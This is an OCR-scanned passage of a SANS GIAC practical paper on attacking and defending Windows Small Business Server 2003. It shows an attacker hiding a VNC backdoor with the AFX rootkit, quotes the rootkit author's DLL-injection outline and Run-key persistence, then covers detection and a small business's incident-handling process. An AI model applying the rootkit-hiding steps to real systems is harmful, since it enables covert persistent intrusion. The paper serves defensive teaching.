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T=TEY

File Edit ‘“iew Fawvorites Toaols Help | ;','
o Back - . - * | ' Search Folders | & &y > ) | [~

Address Iﬁﬂ :\Program Files LI =3

Mame = | Size | Twpe I Dake Modified I Aktributes I

[ File Falder 12442003 9:30 AM

I Common Files File Folder 12/24/2003 7:42 AaM

[ ComPlus applications File Folder 121412003 5:15 AM

[CExchsrwr File Folder 1204f2003 12:15 PM

CyEPMe File Falder 1242003 11:31 AM

[ Inkternet Explorer File Folder 1204f2003 8:22 AM

[ Microsoft AckiveSync File Folder 12/24/2003 7:43 AM

[ Microsoft Inteqgration File Folder 121412003 M:25 AM

[CMicrosoft OFfice File Folder 12)24f2003 7:41 AM

[CMicrosoft SOL Server File Folder 1204f2003 11:37 aM

[ Microsoft wWindows Small Business ... File Folder 12f4f2003 1:56 PM

[ Microsoft MET File Falder 12/4/2003 12:15 PM

[CCiMetMeeting File Folder 120472003 5:20 AM

IConline Services File Folder 1204f2003 8:21 AM

[ 0Outlook Express File Folder 1204f2003 5:19 AM

Uninstall Information File Folder 1204f2003 11:34 aM H

I vMware File Folder 12/4/2003 12:53 PM

[Co)windowes For Small Business Server File Folder 12/4/2003 212 AM

[CwWindows Media Player File Folder 1204f2003 8:26 AM

[CwWindowes BT File Folder 1204f2003 8:12 AM

windowsUpdate File Falder 12/4/2003 5:15 AM H

21 objects |D bytes | J My Compuker i

Figure 72

Next he uses his VNC connection to check the target host for the VNC directory and
files (Figure 72). They should be in Program Files, but they don’t show up in Explorer.
No VNC network port and no VNC files, so far so good.

=T

Eile ©ptions Miew Help

Applications Processes IPerFUrman(E | Metworking | users |

Image Name [ User Mame | cpu | Mem usage [ -
llssrw . exe METWORK SERVICE OO 5,940 K
Isass. exe SYSTEM oo 23,324 K
mad.sxe SYSTEM oo 16,360 K
msdbe. exs MNETWORK SERVICE 0O 4,416 K
mssearch.exe SYSTEM oo 2,276 K
nkfrs.exe SYSTEM oo 1,404 K
OMISTIMER . EXE METWORK SERVICE OO 4,532 K
sbscrexe. exe SYSTEM oo 3,736 K
services.exe SYSTEM oo 5,844 K
smss.exe SYSTEM oo 488 K
spoolsv.exe SYSTEM oo 5,340 K
salservr.exe SYSTEM oo 17,600 K
salservr.exe SYSTEM oo 15,044 K
stors.exs SYSTEM oo 11,088 K
swehost, sxe SYSTEM oo 4,032 K
swehost, sxe SYSTEM oo 3,764 K
swchost, exe SYSTEM oo 5,108 K
swchost. exce METWORK SERVICE OO 4,636 K
swchost, exe LOCAL SERVICE oo 4,544 K
swchost, sxe SYSTEM oo 24,776 K
swehost, sxe SYSTEM oo 2,580 K
swehost, exe LOCAL SERVICE oo Z,132 K
swchost. exce SYSTEM oo 6,084 K
System SYSTEM oo F16 K
System Idls Process  SYSTEM oz 16 K
taskmar.exe adrministrator [T 3,876 K
topsves. exe SYSTEM oo 10,380 K
WMwareService.exe  SYSTEM oo 2,316 K
WhwareTray . exe administratar oo .
Whvsarelser . exe administrator o0
whlogsve.exe Z,180 K
winlogon, exe oo 5,308 K
wins.exe oo 8,404 K
WINWOR D EXE administratar oo 1,880 K
wmipryse . exe MNETWORK SERVICE OO 2,372 K
wniprse  sxe SYSTEM oz 20,756 K
wpabaln,exs administratar oo 2,560 K
wauclt, sxe administratar oo 3,380 K =
I Shows processes From all users End Process |
|Processes: 45 CPU Usage: 11%% Commit Charge: 403M J 927M [ =

Figure 73

A check of Task Manager (Figure 73) should show the winvnc.exe process, but it is not
there. Excellent.
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&7 Registry Editor

Fil= Edit Wiew Fawarites Help

_1ol x|

E‘..

=3

4]

{_ SessionInformation

[ software

-0 Classes

-2 Micrasaft
l:l Metscape
=1-[23 oDBC
o
{1 YNCHooks
f e WinVMCS
D Policies

{:l UMNICODE Program Groups
--{_7] Wolakile Environment
-3 HKEY _LOCAL_MACHINE

HEEY_LISERS

#-{Z3 .DEFALLT
B-E3 s-1-5-18

-3 5-1-5-19

w0 5-1-5-19_Classes
T 5-1-5-20

----- {{1 5-1-5-20_Classes

;I Marne

Tvpe
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[ab){DeFault)

RES_S7

-
> “ |

{walue mok set)

|M';.-' ComputeriHEEY _CLURREMT_USER)Software ORL

N E

Figure 74

A look in Regedit (Figure 74) still shows the ORL registry key. There must be a bug in
AFX or the mask is not correct. After several tries with AFX, our hacker gives up on

hiding the registry entry. He figures that the ORL registry entry does not stand out and
he will try to contact the AFX developer for a fix.

But overall, AFX Windows Rootkit 2003 does a good job hiding all the signs that VNC
has been installed and is running on the target host.

Can the AFX rootkit be detected? Yes, but not easily. Aphex describes his rootkit at
http://www.megasecurity.org/trojans/a/aphex/Afx_win_rootkit2003.html like this:

AFX Windows Rootkit 2003

This software generates a system patch that will hide processes, files, folders registry
keys and netstat entries from Windows 95/98/ME/NT/2k/XP/2003. Information is
withheld based on 4 lists of mask strings. This enables you to apply wildcards to hiding
functions such as hiding files based on "*.exe" or netstat entries based on "*TCP*:80™" to
hide http traffic.

The "example.exe" include is preconfigured to hide all processes/files and keys
matching "~~*" and all "*“TCP™*" traffic. The installer copies itself to the system directory
and extracts 2 DLL files from it's resources. It saves the files as "iexplore.exe" and
"explorer.exe". The first dll is loaded into "explorer.exe" which then installs hooks
contained in "explorer.dlil”.

To configure a custom rootkit run "RootKit.exe" and click "Help" and make sure to
compress your installer!

Aphex
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The second paragraph gives us a hint of the technique used by Aphex to make
detecting AFX difficult. He is using a programming technique called “dll injection” to
hide the rootkit. Looking around on Aphex’s web site (http://iamaphex.cjb.net) we find
his own explanation of dll injection (from Aphex’s source code module DllInjection):

Delphi Source - Dllinjection -

DLL Injection Unleashed by Aphex
http://iamaphex.cjb.net
unremote@knology.net

This covers DLL injection using EliCZ's RT.DLL library. It is a 2.5kb ASM DLL that
emulates NT functions for 9x. His homepage is http://elicz.cjb.net/. You will need to get
his library from there and some day | hope he will be a nice guy and release the code so
we can use it in open source applications. :)

Now on to business...

DLLs are modules that can be loaded by a process to do work on their behalf.

They are not actual processes so all kinds of neat things can be hidden in them to stay
off the proccess list. Also by injecting a DLL into a process you get all the privledges of
that process!

DLLs are loaded staticly by use of an Import Address Table or they can be loaded
dynamically using the KERNEL32 function LoadLibraryA or for unicode, LoadLibraryW.
The trick to injecting a DLL into another process is having it call one of the LoadLibrary
functions with the path to your DLL. This can be done by first, allocating a memory
region inside the foreign process by use of xVirtualAllocEx.

Then, using WriteProcessMemory, to write the parameter for LoadLibrary. Finally, we
use xCreateRemoteThread to call LoadLibrary inside the foreign process.

So dll injection allows the rootkit to work by modifying processes running in memory (in
this case iexplore and explorer) by loading hooks to malicious dlIs that contain the code
to hide running processes, files, and other system objects.

Since the disk copies of iexplore.exe and explorer.exe are not modified, Windows File
Protection (described later) or TripWire file integrity checkers won’t detect AFX.

But since only the in memory copies of iexplore.exe and explorer.exe are modified by
AFX, it has to reload itself each time the system is rebooted. So if we check the registry
we should find an entry that causes the AFX “patch” to run. In this case, a search of the
registry reveals an entry in

MyComputer\HKEY _LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersio
n\Run of HideVNC.exe with the path to the executable. This registry key will cause
HideVNC.exe to run each time Windows is started. By keeping a close watch on the
system registry we could detect the rootkit being loaded. Our job would be harder if the
hacker chose a stealthier name for the AFX “patch”. A name like “LoadSysTray” or
“LoadAV” might not raise a flag. Of course, the registry would need to be checked from
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a remote host known to be in a good state since the target host’s registry editor could
be compromised.

Anti-virus software that is kept up do date can detect rootkits that viruses and worms
attempt to load, but in our case, since our attacker had gained administrative privilege
on the SBS2003 server, he could disable real time anti-virus software before installing
the rootkit. Periodic anti-virus full system scans should also be run in addition to
enabling real time anti-virus software.
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The Incident Handling Process

In this section we discuss an incident handling process for small businesses that use
Microsoft SBS 2003 as their primary computing infrastructure. We look at the
installation and operation of SBS 2003 to determine best practices for small businesses
to use to implement the six steps of the incident handling process. We also look at the
default installation and operation of SBS 2003 and note where additional security needs
to be implemented.

Incident Handling Scenario

GIACBikes uses SBS 2003 as the computing infrastructure for the company. Like many
small businesses, GIACBikes uses a local Microsoft Certified Value Added Reseller
(VAR), GIAC System Experts (GSE), to install and maintain its computer network.

When shopping for a VAR to implement and maintain the GIACBikes network,
GIACBikes developed a requirements list. Aware of the competitive nature of the
bicycle business, GIACBikes included requirements that the computer network be
secure and that GSE periodically review GIACBikes network security and apply any
necessary fixes.

GSE/GIACBIkes Incident Handling Process

To meet its contract obligations with GIACBikes and its other customers, GSE
established an incident handling capability based on guidance found in the National
Institute of Standards and Technology (NIST) Special Publication 800-61 “Computer
Security Incident Handling Guide” (http://csrc.nist.gov/publications/drafts/draft sp800-
61.pdf). GSE chose this guide so it would be in a better position to win Federal
Government contracts and to support customers that had government contracts.

Preparation
GSE followed this NIST created outline in establishing its formal Incident Handling
Capability.

1. Incident Response Policy and Procedure Creation
In order to meet the contract requirements for GIACBikes and its other customers,
GSE developed policies and procedures for the installation and maintenance of SBS
2003. GSE also developed a plan to react to its customer’s security breaches.
These policies, procedures, and plans are described below (GSE/GIACBikes
contract language in italics):

Network and server monitoring (log and performance) using Microsoft Server Monitoring
software - weekly.

Microsoft SBS 2003 provides a wizard to configure server monitoring. Each GSE
supported SBS 2003 server is configured to the Server Monitor default settings
(can be modified to meet specific customer needs). A Server Monitor report is
sent by email to GSE at least weekly. Critical alerts are sent immediately to GSE
by email if they occur. GSE notifies the customer of any problem reported and
includes proposed solutions to correct the problem.
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Service pack and security fix implementation when released by Microsoft — monthly and
on emergency notice.

Microsoft SBS 2003 supports the Microsoft Update Service. GSE subscribes to
the Microsoft security bulletin email notifications. When a new security patch is
issued, GSE downloads and tests the patch on a GSE test SBS 2003 server.
Each GSE supported SBS 2003 server is configured with Automatic Updates
enabled with the default settings (download automatically, notify user when ready
to install). After successful GSE testing of the security patch, GSE notifies
customers to install the patch.

Update virus scanners — as needed.

GSE installs a commercial anti-virus solution on each SBS 2003 server. The
anti-virus software is configured to automatically download and install virus
scanner updates. If a virus is detected, the software is configured send alerts to
GSE. GSE tracks virus alerts for each customer and responds to alerts that
report that the virus was not automatically cleaned or quarantined.

Backup server - daily.

GSE uses the SBS 2003 Backup Wizard to configure a daily system backup of
customer systems. Each customers SBS 2003 system is configured with tape or
disk backup media depending on customer needs. GSE uses SBS 2003 Server
Monitor software to monitor the backup process. GSE will customize a backup
strategy based on customer needs.

Provide computer security incident response capability — as needed.

GSE uses various checklists for handling computer security incidents. See the
“GSE/GIACBIkes Incident Handling Process” section of this paper for details.

These services can be performed on-site or by remote access support.

GSE performs most system maintenance for customers using SBS 2003 Remote
Web Workplace. Remote Web Workplace provides remote access to the SBS
2003 server desktop over a secure SSL Internet connection. If service cannot be
provided remotely, then GSE goes onsite to perform maintenance.

2. Incident Response Team Structure and Services
GSE'’s Incident Response Team consists of all of GSE’s technical staff (4 full time
and 2 part time employees) and at least one contact person at each customer site.
As Microsoft Certified Partners, GSE is required to keep two Microsoft Certified
System Engineers (MCSEs) on staff. All GSE staff performs other duties besides
incident response in servicing GSE contracts. Other services include installing and
maintaining customer systems and monitoring systems.
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3. Incident Preparation
The GSE team documents each SBS 2003 system it installs. Each team member
has access to customer contact information. GSE has remote access rights (Figure
75) on each system it supports and can come on site for incident response work with
permission from the customer contact.

| GIACBikes Remote Web Workplace - Microsoft Internet Explorer

T a———
QBack - &3 - [*] &) @n | - search <7 Favortes @ Media 42 | 2 = B

Adcress [&] heps:fisbs2003/Remote/defaul. aspx

= Remote Web Workplace
Log Off Idain Menu

Welcome, Administrator.

The links on this page enable you to use components of your Windows Small Business Server network over the Internet. To
protect the security of your business network, click Log Off when you are finished using the Remote Web Workplace,

Connect to Server Desktops . .
L:I access server desktops within the network, T U

o Uze Qutlook Web
ACCESS

& view Client Help
@ sk the Community

&l
[ [ [& NJiocalintranet y
i#istart| | [ & 4] GIACEkes Remate Web ... T8 E) 11:00 AM
| |
Figure 75

GSE maintains a set of tools to assist in incident response actions, including network
sniffers, Windows Resource Kit tools, and vulnerability assessment tools. For on
site work, GSE uses these tools and the Knoppix — Security Tools Distribution (STD)
bootable CD (http://www.knoppix-std.org/).

The next section describes security measures provided by the default installation and
configuration of SBS 2003.
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Installation of SBS 2003
The following section shows security related steps in the installation of SBS 2003 with
information about the default settings and how these settings affect overall system

security.

I 4 Micuealt
= = Windows

Collecting
information

Dynami(k
Update

Preparing
installation

I complete in

approximately:

39 minutes

Improved security

Figure 76

Here is the Microsoft claim — Improved security (Figure 76).

Collecting
information

Dynamic
Update

Preparing
installation

approximately:

33 minute=s

Windows Setup

Computer Hame and Adminmistrator Password

“ou muzt provide a name and an Adminiztrator pazsword for pour computer.

wWindows Setup

SN

You have specified a password For the Administrator account that
does not meet the criteria For strong passwords, We recommend that
wou use a password that meets the First bwo criteria below and at

least three of the others:

£

Has at least 6 characters

Does nok conkain "Administrator” or "Admin®

—onkains uppercase letters (A, B, C, and so on)

Contains lowercase letkers (&, b, ¢, and so on)

Contains numbers {0, 1, 2, and 50 on)

onktains non-alphanumeric charackers (&, &, ~, and s0 on)

Are you sure wou want ko continue with Ehe current passwaord?

Figure 77

The installation procedure step to create an administrator password recommends a
strong password (Figure 77).
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Figure 78
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Print |
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Basic SBS 2003 installation is complete, but a configuration checklist (Figure 78) is
presented to complete system configuration. Notice the first step is to “View Security

Best Practices”.
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Here is an example from the Security Best Practices — “Protecting your network from
the Internet by using a firewall” (Figure 79). Other best practices are listed in the left
hand pane. Some of note for incident handling are:

e Protecting access to Windows Small Business Server from external threats

e Protecting access to Windows Small Business Server from internal threats

e Monitor your server

e Backup and restore

e Manage Internet access

e Share network resources

¢ Manage remote network access
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Figure 80
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Computers
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Manage your company's internal Web site.

Monitoring and Reporting

Wiew performance and usage reports from your Small Business Semver.

Information Center
Find inf: tion about using, and wour
Windowws Small Business Senrer.

g Configure the Internet connection for your server. lzl

To connect wour Small Business Server network ba the Inkernet, run
the Configure E-mail and Inkernet Cannection Wizard. You can also
run this wizard Fram the Ta Da List by clicking Connect to the
Internet.

Server configuration and management is accomplished using a series of Wizards

(Figure 80).

Also notice (Figure 80, bottom right) that SBS 2003 is not automatically connected to
the Internet during installation. The Internet connection must be configured after the
installation is complete and at least basic security is in place. This prevents attacks
against the system during installation while it is most vulnerable.
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Working through the “Complete the Configuration” checklist we see the “Configure E-
Mail and Internet Connection” wizard (Figure 81). By default the SBS 2003 Internet
Connection Firewall (ICF) is enabled.
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The firewall is configured using easy to understand dialogs (Figure 82). Here network
traffic for Outlook Web Access, Remote Web Workplace, and access to the company
web site are allowed through the firewall. All other network traffic is denied by default.
This closes all network ports except those needed by the checked services. This is the

step that foiled our hacker’s attack. RPC ports are closed by default.
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Figure 83

By default, Exchange will not allow email attachments that might allow malicious code
into the company (Figure 83). This step will defeat the majority of email borne viruses.
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Figure 84

Here (Figure 84) is the configuration wizard is reminding the installer to establish
password policies for the computer domain.
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The “Configure Password Policy” dialog (Figure 85) gives the installer the opportunity to
set the password minimum length, complexity requirement, and number of days before

requiring a password change. These policies can be set to go into effect at a later time
to give users time to be notified of password requirements.
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Figure 86

Once the SBS 2003 server is connected to the Internet, the wizard (Figure 86) suggests
that security patches be installed and will even connect the installer to the Microsoft
Update web site. This ensures that all the latest security patches are applied as soon
as possible in the installation process.
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The “Monitoring Configuration Wizard” (Figure 87) allows the installer to set up SBS
2003 server alerting and monitoring and send reports by email on a scheduled basis.

Alerts can be sent by email when they occur.
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Both performance reports and usage reports can be requested (Figure 88). The
Performance report includes the most useful information for security monitoring. It has
information about running services, system performance, and system alerts.

Page 83 of 116 — Attacking and Defending SBS 2003
© SANS Institute 2004, As part of GIAC practical repository.

Author retains full rights.



5§ server Management

] Eile  Action  Wiew  Faworites

window  Help

===

TS|

= = | Bm| 2

| Home Page
[=-+3] Standard Management
=20 Te Do List

[ 7 Information Center
= % Internal web Site
[+--&5 Fax (Local)

=

[c
[c
[c
[c

22731 Licensing

o B Users

oo B Client Computers
-+ ] Server Computers
-5 Printers

-, Distribution Groups
? Security Groups

- User Templates

[+ #] Advanced Managsment

Jb'StartI | =2 &

¥ # Win
ﬂ Complete the configuration oy ganm
IMonitoring Configuration Wizard
O Alens 2 ware Information
“rou can specify if you want to receive immediate notification for perfarmance slerts.
<2 wore Information
| % EBénd me notification of performance sierts by s-mai 42 woare Infarmation
Alerts include low disk space. running services that have stopped. and other performancs thiesholds. Evers
{ time an alert iz riggered, an e-mail will be sent. @ M ore Information
E-mail address
€ more Information
administrator@giachikes. com
To enter multiple addiesses, use a semicclon.
42 wore Information
<2 wore Information
42 wiore Information
42 wore Information
M Inh ki
[ el | © Wore Infarmation
<Back [ Hew> | Cancsl
i stay current with automatic updates E

lick here ko lzarn how to keep your computer up to date
automatically with important downloads From Windows

Update.

Print I

| 22 server Management ||:| Monitoring Configurat...

Figure 89

TLE 2:13Pm

Besides receiving a regular email with the latest performance report, alerts can trigger
an immediate email (Figure 89). Some example security alerts would be when services
stop, disk space runs low, or CPU usage increases dramatically. These types of alerts
could indicate the host is under attack or has been compromised.

ST
23] File  Action Wiew Favorites  Window  Help | - 5l|5||
= = | ea =

| Home Page
[=-23:] Standard Management
12d Ta Do List
7 Information Center
% Internal wWeb Site
£5 Fax (Local)
Monitoring and Reporting
=i Internet and E-mail
L) shares iLacal
—= Backup
{73 Licensing
£ users
El Client Computers
|l Server Computers
=9 Printers
M, Distribution Groups
Security Groups

8 User Templates
- %] advanced Management

xb‘startl | = &

F AT
Complete the configuration £ ." s.m“m

lIBackup Conl

=l

Welcome to the Windows Small Business
Server Backup Configuration wWizard

Thiz wizard configures and schedules backups of the server. You can use the
backup to resaver the server of individual files

Using this wizard, you cary
Eack up te tape o hard disk

Specify folders ta exclude fram the backup

Define a backup schedule

Specify an onsite user to manage the backup media
Configure the server to retain deleted e-mails and files

To continue. click Mext

<Ieck

Cancel

| <z Server Management 1 Backup Configuration ...

Figure 90

€ more Intormation
<2 more Information
42 More Information
4 More Information

€ more Intormation

4 More Information
€ more Intormation
<2 more Information
42 More Information

4 More Information

Print
E™ Z:15 FM

The “Backup Configuration Wizard” (Figure 90) prompts the installer to setup and
schedule a SBS 2003 system backup job. Proper backups are critical in restoring a
system to operation if it has been compromised.
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The backup schedule (Figure 91) can be set as well as the number of backup sets to

maintain.
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Schedule: &t 11:00 PM every Man, Tue, Wed, Thu, Fri of every week, starting 1/6,/2004

Bsckup has been configured, but has not yet run. The next backup job will Frun according to
the schedule specified in the Backup Configuration wizard. If you want to perform a backup

The Server Management application tracks the status of backup jobs (Figure 92). This
information will also be available in the server monitoring report that is sent by email.

Default installation options for SBS 2003 go a long way in getting the system in

condition to detect, withstand, and recover from attacks.
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Identification/Containment

Note: In the next incident handling sections we will follow the process GSE uses with
GIACBikes to react to the announcement by Microsoft of the Messenger Service Buffer
Overflow vulnerability to see how the GSE/GIACBIikes incident handling process works.

GSE receives Microsoft Security Bulletins by email when they are released. As a
Microsoft Certified Partner, GSE also receives telephone notification of new security
bulletins.

October 15, 2003 - 9:00 AM

Upon receiving Microsoft Security Bulletin MS03-043 titled “Buffer Overrun in
Messenger Service Could Allow Code Execution (828035)”
(http://www.microsoft.com/technet/treeview/default.asp?url=/technet/security/bulletin/MS
03-043.asp), the GSE technician on call initiates the incident response checklist for
Microsoft security bulletins. This checklist is completed within 24 hours of a Microsoft
security bulletin for Critical alerts, within 1 week for Moderate alerts, and within one
month for all other alerts. The checklist consists of these steps:

1. Evaluate the vulnerability notification for severity of risk to GSE customers.

2. Notify GSE customer contacts of severity risk for their systems.

3. Begin implementing mitigation strategies as needed, including testing of security
patch, if provided.

4. After testing, notify customer contacts to install security patch (or perform install
at customer request).

5. Check customer servers for possible comprise.

6. Notify customers of incident impact and carry out additional incident response
steps if any system is compromised.

The GSE incident handler reviews the MS03-043 bulletin and determines that SBS
2003 is a target system, but the vulnerability is rated Moderate for Windows Server
2003. The incident handler accesses information about the Messenger Service
vulnerability from SecurityFocus Vulnerability Database
(http://www.securityfocus.com/bid/8826/solution/) and notes that the Messenger Service
needs port 135 to be open to work for a remote attacker. The SecurityFocus listing also
notes that the Windows 2003 server Internet Connection Firewall (ICF) blocks port 135
by default.

October 15, 2003 - 10:00 AM

The GSE incident handler knew that GSE’s default installation of SBS 2003 included the
built in Windows ICF firewall that blocks the target ports by default. But because of the
critical nature of this vulnerability, he decides to run an nmap scan against all customer
networks to make sure. His first step is to notify the customer contacts that a newly
announced security vulnerability necessitates a port scan of their systems. He then
runs nmap against the Internet interface IP address of GIACBikes SBS 2003 host.

C:\nmap>nmap -O -sV 10.1.1.2
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Starting nmap 3.48 ( http://www.insecure.org/nmap ) at 2003-10-15 10.09 Eastern
Standard Time

Warning: OS detection will be MUCH less reliable because we did not find at lea
st 1 open and 1 closed TCP port

Interesting ports on 10.1.1.2:

(The 1653 ports scanned but not shown below are in state: filtered)

PORT STATE SERVICE VERSION

25/tco open smtp Microsoft ESMTP 6.0.3790.0

80/tcp open http  Microsoft IIS webserver 6.0

443/tco open ssl  Microsoft IIS SSL

1723/tcp open pptp?

Device type: general purpose

Running: Microsoft Windows 2003/.NET|NT/2K/XP

OS details: Microsoft Windows Server 2003 Enterprise Edition, Microsoft Windows 2000
SP3

Nmap run completed -- 1 IP address (1 host up) scanned in 135.563 seconds
C:A\nmap>

The nmap scan shows that none of the target ports for the Messenger Service
vulnerability are open on the GIACBikes network.

October 15, 2003 - 10:15 AM

To check against an internal threat exploiting the Messenger Service vulnerability, the
GSE incident handler establishes a remote web connection to the GIACBikes SBS2003
server and checks to see if the Messenger Service is running.
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Figure 93

The GSE incident handler notes that on SBS 2003, the Messenger Service is disabled
by default (Figure 93).

Biscart| | [ & | sz server Management
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The GSE incident handler then checks the SBS 2003 server monitoring report for any
unusual entries and finds nothing suspicious.
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Figure 94

Here (Figure 94) he checks the summary status and notes all services are running and
there are no critical alerts in the system logs.
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Scrolling down through the report, he notes the performance summary looks normal and
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Figure 94

no unusual processes are using memory or CPU resources (Figure 94).
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See below for complete text of the performance report.

Server Performance Report for GIACBikes
Report created on 10/15/2003 at 6:00 AM

Summary for SBS2003

Server has been running: 1 day and 18 hours
Server Specifications Details

Performance Summary Details

Top Processes Details

Backup: Did not run Details

Auto-started Services Not Running: 0 Details
Critical Alerts: 0 Details

Critical Errors in the Event Logs: 0 Details

Details of SBS2003

Server Specifications

Operating System: Microsoft(R) Windows(R) Server 2003 for Small Business Server
Processor: Mobile Intel(R) Pentium(R) 4 - M CPU 2.40GHz

Frequency: 2.4 GHz

Amount of RAM: 384 MB

Performance Summary

Performance Counters Today Last Month Rate of Growth
Memory in use 409 MB No data

Free disk space (C:) 1,278 MB No data

Busy disk time (0 C:) 2 % No data

CPU Use (0) 3 % No data

Top 5 Processes by Memory Usage
Process Name - ID Memory Usage
w3wp - 56956 34 MB

Isass - 572 25 MB

store - 2724 20 MB

sqlservr - 1692 20 MB

inetinfo - 1612 20 MB

Top 5 Processes by CPU Usage
Process Name - ID CPU Time
wmiprvse - 2576 0.5 %

svchost - 1040 0.4 %

wmiprvse - 2412 0.4 %

services - 560 0.4 %

Isass - 572 0.2 %

Backup

Page 89 of 116 — Attacking and Defending SBS 2003
© SANS Institute 2004, As part of GIAC practical repository. Author retains full rights.



Result Last Occurrence
Small Business Server Backup was not scheduled to run in the last 24 hours. Not
applicable

Auto-started Services Not Running
All services configured to start automatically are running.

Critical Alerts
There were no critical alerts on the server in the last 24 hours.

Critical Errors in Application Log
There were no critical events in the Application Log in the last 24 hours.

Critical Errors in Directory Service Log
There were no critical events in the Directory Service Log in the last 24 hours.

Critical Errors in DNS Server Log
There were no critical events in the DNS Server Log in the last 24 hours.

Critical Errors in File Replication Service Log
There were no critical events in the File Replication Service Log in the last 24 hours.

Critical Errors in Security Log
There were no critical events in the Security Log in the last 24 hours.

Critical Errors in System Log
There were no critical events in the System Log in the last 24 hours.

Based on his risk assessment of Messenger Service vulnerability threat to GIACBikes,
the GSE incident handler decides that the Microsoft patch does not need to be applied
immediately. GSE will wait for the next security roll-up patch or service pack to patch
this problem. The GSE incident handler does write up a report on the Messenger
Service vulnerability for GIACBikes informing them of the potential problem and warning
GIACBikes not to use the Messenger Service until further notice.

Had the GSE incident handler detected a sign of compromise on the GIACBikes server,
GSE would have immediately implemented the following checklist:

1. Notify the customer of the compromise and get permission to conduct
forensic analysis.

2. Deploy a two person team to the customer site to contain the incident and
begin collecting evidence.

3. Perform two full backups of the compromised system to new hard drives
Note: GSE uses Knoppix-STD (http://www.knoppix-std.org/) to perform
forensic disk copies and as a forensic toolkit. See below for more information
about how to use Knoppix-STD to perform disk copies.

4. Proceed with the Eradication/Recover step (outlined in rest of this paper).

5. Perform an analysis of the compromise off site on the second copy of backup
(retain first copy to maintain chain of evidence).
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6. Notify customer of the results of the analysis of the compromise and if
necessary and with customers permission, notify law enforcement of results.
7. Restore customer systems to normal operation.

Knoppix-STD is described on the www.knoppix-std.org web site like this:

http.//www.knoppix-std.org/faqg.html

Knoppix STD 0.1b

security tools distribution

MD5: b98226254b678520d1daba93171768a1

Knoppix-STD FAQ

"Take it friend. Arm yourself with knowledge"
--Paperboy, SpongeBob SquarePants

What is Knoppix-STD?
Knoppix-STD is a bootable CD packed with the Linux OS, KDE Windows Manager, with
an emphasis on information security tools.

What are the minimum requirements to run Knoppix-STD?

Knoppix needs lots of RAM and a x86 architecture (Intel, AMD, etc.). You could probably
boot it up on an old 486 with at least 48MB RAM., but don't expect much (like gui).
You're better off with a pentium class machine with at least 64-96MB RAM. Knoppix-
STD is very reliant on RAM, the more the better. You will also need a SCSI or IDE
CDROM drive (or at least SCSI or IDE emulation).
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[Error: only one processor found.
[PCI: Cannot allocate resource region 4 of device 00:07.1

[Booting Knoppix-STD: Security Tools Distribution

Found SC3I device(s) handled by BusLogic.o.
Accessing KNOPPIX CDROM at sdeurscd®...
256512
srandisk sdevsshn

INIT: version 2.78-knoppix booting

Processor © is Mobile Intel(R) Pentium(R) 4 — M CPU Z.406Hz Z394MHz, 512 KB Cache
APM Bios found, power management functions enabled.
Autoconfiguring devices. .. Done .
Mouse is Generic 3 Button Mouse (P5-2) at ~devspsaux

AGF bridge detected.

Uideo is UMWare InclVirtual 3UGA, using XFreeB6(unuare) Server
Monitor is Generic Monitor, H:28.0-96.0kHz, V:50.0-76.0Hz

Using Modes “1024x768" "B00x600" "640x480"

setcsfstab Done .

Network device eth® detected, DHCP broadcasting for IP.
Automounter started for: floppy cdrom.
ittt WARNING it

he firewall won’t be started-stopped unless it is configured

please configure it and then edit retcrsdefaultrshorewall
nd set the "startup” wvariable to 1 in order to allow
lshorewall to start

i S R

INIT: Entering runlevel: 5

Figure 95

Knoppix-STD is booting up from a CD (Figure 95). Knoppix runs on just about any Intel
hardware and needs very little memory or processing power. It automatically detects
most hardware and configures itself to run. It runs completely in memory and from the
CD so it does not disturb the contents of the host machine disk drive.
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Figure 96

Knoppix-STD successfully loaded on the GIACBikes SBS2003 host (Figure 96).
Knoppix can be run with or without the KDE graphical interface.
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Figure 97

Some tools included on Knoppix-STD are listed (Figure 97). Notice the tools listed for
forensics including Disk Duplicator (dd). GSE uses dd to make forensic copies of
compromised systems disks.
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Figure 98
More tools that Knoppix-STD provides (Figure 98) include packet sniffers and

vulnerability assessment tools. Knoppix-STD loaded on a laptop makes a good
forensics, penetration testing, and vulnerability testing machine.
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Figure 99

Here (Figure 99) the GSE incident handler uses dd to copy the contents of a system
disk to a like disk drive. dd copies the entire disk (even unused space) at the block
level, so we don’t have to worry about the format of the data on the disk. The dd
command line switches /if and /of indicate the input to copy and output destination for
the copy respectively.
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Eradication/Recovery

SBS 2003 has several built in facilities to assist in the eradication and recovery phases
of incident handling. Services include Windows File Protection and SBS 2003 Backup
and Restore Wizard.

Windows File Protection
The Microsoft help file describes Windows File Protection like this:

In versions of Windows prior to Windows 2000, installing software in addition to the
operating system might overwrite shared system files such as dynamic-link libraries (.dll
files) and executable files (.exe files). When system files are overwritten, system
performance becomes unpredictable, programs behave erratically, and the operating
system fails.

In Windows 2000, Windows XP, and the Windows Server 2003 family of products,
Windows File Protection prevents the replacement of protected system files such as
.Sys, .dll, .ocx, .ttf, .fon, and .exe files. Windows File Protection runs in the background
and protects all files installed by the Windows Setup program.

Windows File Protection detects attempts by other programs to replace or move a
protected system file. Windows File Protection checks the file's digital signature to
determine if the new file is the correct Microsoft version. If the file is not the correct
version, Windows File Protection either replaces the file from the backup stored in the
Dlicache folder or from the Windows CD. If Windows File Protection cannot locate the
appropriate file, it prompts you for the location. Windows File Protection also writes an
event to the event log, noting the file replacement attempt.

By default, Windows File Protection is always enabled and allows Windows digitally
signed files to replace existing files. Currently, signed files are distributed through:

Windows Service Packs

Hotfix distributions

Operating system upgrades

Windows Update

Windows Device Manager/Class Installer

Windows File Protection works automatically by default. If an attacker attempts to
delete or modify a protected system file, Windows File Protection immediately logs and
repairs the damage.

The incident handler can invoke the command line program “sfc” to manually verify that
all protected files are the correct signed version. sfc also verifies, and if necessary,
rebuilds the catalog files that contain the protected file signatures.

The following example shows the GSE incident handler using sfc to verify protected files
on the GIACBikes SBS 2003 server.
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=+ Command Prompt -

IC:v>sfec Asscannow

G2

Windows File Protection

Please wait while Windows verifies that all protected Windows files are
intact and in their original versions.

—

Aistart] | [ &

| @) Help and Support Center | B Comman ol Prompt

||:| Windows File Protecti...
Figure 100

W& simarm

The /scannow switch tell sfc to perform an immediate scan to verify protected files
(Figure 100). Other sfc switches include /scanboot and /scanonce. These switches tell
sfc to perform a scan after each reboot or after the next reboot respectively. Running
sfc at each reboot provides an extra level of protection, but since the sfc scan is time
consuming and resource intensive, it may not be appropriate for many systems.

Another tool associated with Windows File Protection is the File Signature Verification
program. This program searches the system for any system files and drivers that have
not been digitally signed. These files might be device drivers or other system files
loaded by an attacker or malicious code.
